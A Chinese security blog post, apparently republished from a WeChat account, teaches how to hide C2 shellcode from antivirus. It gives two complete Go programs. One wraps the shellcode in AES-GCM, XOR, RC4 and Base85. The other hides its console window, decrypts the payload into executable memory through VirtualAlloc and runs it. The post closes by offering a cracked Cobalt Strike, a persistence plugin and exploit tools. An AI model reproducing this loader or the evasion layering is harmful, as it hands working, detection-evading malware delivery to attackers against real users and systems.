免杀杂谈系列(1)|shellcode加载器之免杀小技巧

admin 2024年11月1日19:40:33评论17 views字数 5035阅读16分47秒阅读模式

前言

说shellcode加载器之前,先说一下什么是shellcode,shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。而Shellcode加载器是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。

今天这篇文章只是简单说说shellcode免杀的相关知识点,并不深入讲解。如果对于免杀技术感兴趣,可以从四大块入手学习:静态、动态、内存和网络。初学者可以按照这一路线逐步学习,先从静态技术入手,然后逐步深入动态、内存和网络方面的知识。

需要明确的是,免杀的核心在于对抗检测机制。检测通常涵盖多个层面,因此要实现完整的免杀效果,需要结合多种绕过手法。一些提供的loader仅作为基础知识点,本身并不具备免杀效果。在学习过程中,需要注意将不同的绕过手法组合起来。

加密与解密

首先说一下静态免杀的相关内容,这里主要讲解加密与解密的相关内容。

AES

AES(Advanced Encryption Standard)是一种对称加密算法,它是目前使用最广泛的对称加密算法之一。对称加密算法使用相同的密钥进行加密和解密,因此在安全性和效率上通常比非对称加密算法更高效。

AES 加密的基本步骤:

  1. 密钥生成:选择一个适当长度的密钥。AES支持多种密钥长度,包括128位、192位和256位。

  2. 初始轮密钥生成:通过密钥扩展算法,根据初始密钥生成一系列轮密钥,用于加密轮中的每一轮。

  3. 轮密钥加:将明文与第一轮密钥进行按位异或操作。

  4. :执行多轮的加密操作,每一轮都包括四个步骤:SubBytes、ShiftRows、MixColumns 和 AddRoundKey。这些步骤的具体操作会对明文进行不同的置换和替换操作,结合当前轮的轮密钥进行处理。

  5. 最后一轮:最后一轮不包括 MixColumns 步骤,只执行 SubBytes、ShiftRows 和 AddRoundKey。

  6. 密文输出:最后一轮完成后,得到的结果就是加密后的密文。

解密过程与加密过程类似,只是轮密钥的应用顺序相反,并且在解密时不需要进行密钥扩展。

RC4

RC4(Rivest Cipher 4)是一种流密码算法,它将明文与密钥流按位进行异或运算来实现加密和解密。密钥流是由一个伪随机生成器生成的伪随机序列,这个序列是根据密钥生成的,所以密钥的选择对加密的安全性至关重要。

RC4 算法相对于其他对称加密算法来说,实现相对简单,加解密速度也很快。

XOR

异或加密:异或运算(XOR,Exclusive OR)是一种逻辑运算符,它在两个操作数中,当且仅当其中一个操作数为真时返回真。如果两个操作数都为真或都为假,则返回假。

案例

这里以C2的shelcode来举例子,语言选为Go语言。大体代码加密逻辑为: 

AES 加密:使用 AES 对输入消息进行加密。

选择了 GCM 模式,这是一种常用的 AES 加密模式。
使用了一个固定的 nonce,实际应用中应该使用安全的随机数生成方式。
XOR 操作:在 AES 加密之后执行 XOR 操作。

RC4 加密:对 XOR 后的消息进行 RC4 加密。具体加密代码完整案例如下:

package main

import (
 "crypto/aes"
 "crypto/cipher"
 "crypto/rc4"
 "encoding/hex"
 "fmt"
 "github.com/eknkc/basex"
 "log"
)

func main() {
 // AES 密钥
 aesKey := []byte("1234567887654321")
 // RC4 密钥
 rc4Key := []byte("12345678")
 message := "xfcx48x83xe4xf0xe8......" // 原始消息shellcode

 // AES 加密
 aesCipher, err := aes.NewCipher(aesKey)
 if err != nil {
  log.Fatalf("failed to create AES cipher: %v", err)
 }

 // 创建 GCM 模式
 gcm, err := cipher.NewGCM(aesCipher)
 if err != nil {
  log.Fatalf("failed to create GCM: %v", err)
 }

 // 使用固定的随机数(nonce),实际应用中应使用安全的随机数
 nonce := []byte("123456789012") // 12 字节 nonce
 ciphertext := gcm.Seal(nil, nonce, []byte(message), nil)

 // XOR 操作
 xordMessage := make([]byte, len(ciphertext))
 for i := 0; i < len(ciphertext); i++ {
  xordMessage[i] = ciphertext[i] ^ 0xff
 }

 // RC4 加密
 rc4Cipher, _ := rc4.NewCipher(rc4Key)
 rc4Message := make([]byte, len(xordMessage))
 rc4Cipher.XORKeyStream(rc4Message, xordMessage)

 // 转为十六进制
 hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
 n := hex.Encode(hexCiphertext, rc4Message)
 hexCiphertext = hexCiphertext[:n]

 // Base85 编码
 base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
 encodedMessage := base85.Encode(hexCiphertext)

 fmt.Println(encodedMessage)
}

解密的话,也是按照顺序来解,先进行 RC4 解密,然后进行 XOR 操作,最后进行 AES 解密,确保按正确顺序处理数据 具体解密代码完整案例如下:

ackage main

import (
 "crypto/aes"
 "crypto/cipher"
 "crypto/rc4"
 "encoding/hex"
 "syscall"
 "unsafe"
 "github.com/eknkc/basex"
 "github.com/lxn/win"
 "golang.org/x/sys/windows"
 "log"
)

func main() {
 win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)

 // AES 密钥
 aesKey := []byte("1234567887654321")
 // RC4 密钥
 rc4Key := []byte("demaxiya")
 encodedMessage := "2^f3pZzEw)WqdyIsUOpY25$_kgn9_9Kue2kt%Ks+XEJCzoSerJ@IK^kNr|7Aiwamzt8g>&9m#z52lh=KnD!;7M4rwJ86>E$zvdNygVjaWO!>s7kQP;owW^?aZOaP!yVQ$lYx$e(rbb%gw#&ly6yreXU<LO~B!G575FerHX?~TC<0iP#&%?R@?~Fd......" // 编码后的消息

 // Base85 解码
 base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
 hexCiphertext, _ := base85.Decode(encodedMessage)

 // 转为二进制
 rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))
 n, _ := hex.Decode(rc4Message, hexCiphertext)
 rc4Message = rc4Message[:n]

 // RC4 解密
 rc4Cipher, _ := rc4.NewCipher(rc4Key)
 xordMessage := make([]byte, len(rc4Message))
 rc4Cipher.XORKeyStream(xordMessage, rc4Message)

 // XOR 操作
 message := make([]byte, len(xordMessage))
 for i := 0; i < len(xordMessage); i++ {
  message[i] = xordMessage[i] ^ 0xff
 }

 // AES 解密
 aesCipher, err := aes.NewCipher(aesKey)
 if err != nil {
  log.Fatalf("failed to create AES cipher: %v", err)
 }

 // 创建 GCM 模式
 gcm, err := cipher.NewGCM(aesCipher)
 if err != nil {
  log.Fatalf("failed to create GCM: %v", err)
 }

 // 使用与加密时相同的 nonce
 nonce := []byte("123456789012") // 12 字节 nonce
 plaintext, err := gcm.Open(nil, nonce, message, nil)
 if err != nil {
  log.Fatalf("failed to decrypt: %v", err)
 }

 kernel32, _ := syscall.LoadDLL("kernel32.dll")
 VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 // 分配内存并写入 shellcode 内容
 allocSize := uintptr(len(plaintext))
 mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

 if mem == 0 {
  panic("VirtualAlloc failed")
 }

 buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
 copy(buffer, plaintext)

 // 执行 shellcode
 syscall.Syscall(mem, 0, 0, 0, 0)
}

小结

本节内容主要讲解了shellcode加解密等相关知识点,在下节内容中,主要讲解加载shellcode的方式,挑选其中比较经典的几种来进行讲解。

项目下载
众号后台回复:cs45,获取catcs4.5下载链接。
众号后台回复:cs49,获取CobaltStrike4.9原版jar破解下载链接。
众号后台回复:权限维持,获取CobaltStrike权限维持插件下载链接。
公众号后台回复:jboss,获取jboss利用工具下载链接。
公众号后台回复:ruoyi,获取ruoyi利用工具下载链接。
公众号后台回复:162,获取Liqun16.2 工具包下载链接。

原文始发于微信公众号(小艾搞安全):免杀杂谈系列(1)|shellcode加载器之免杀小技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日19:40:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀杂谈系列(1)|shellcode加载器之免杀小技巧https://cn-sec.com/archives/3345091.html

发表评论

匿名网友 填写信息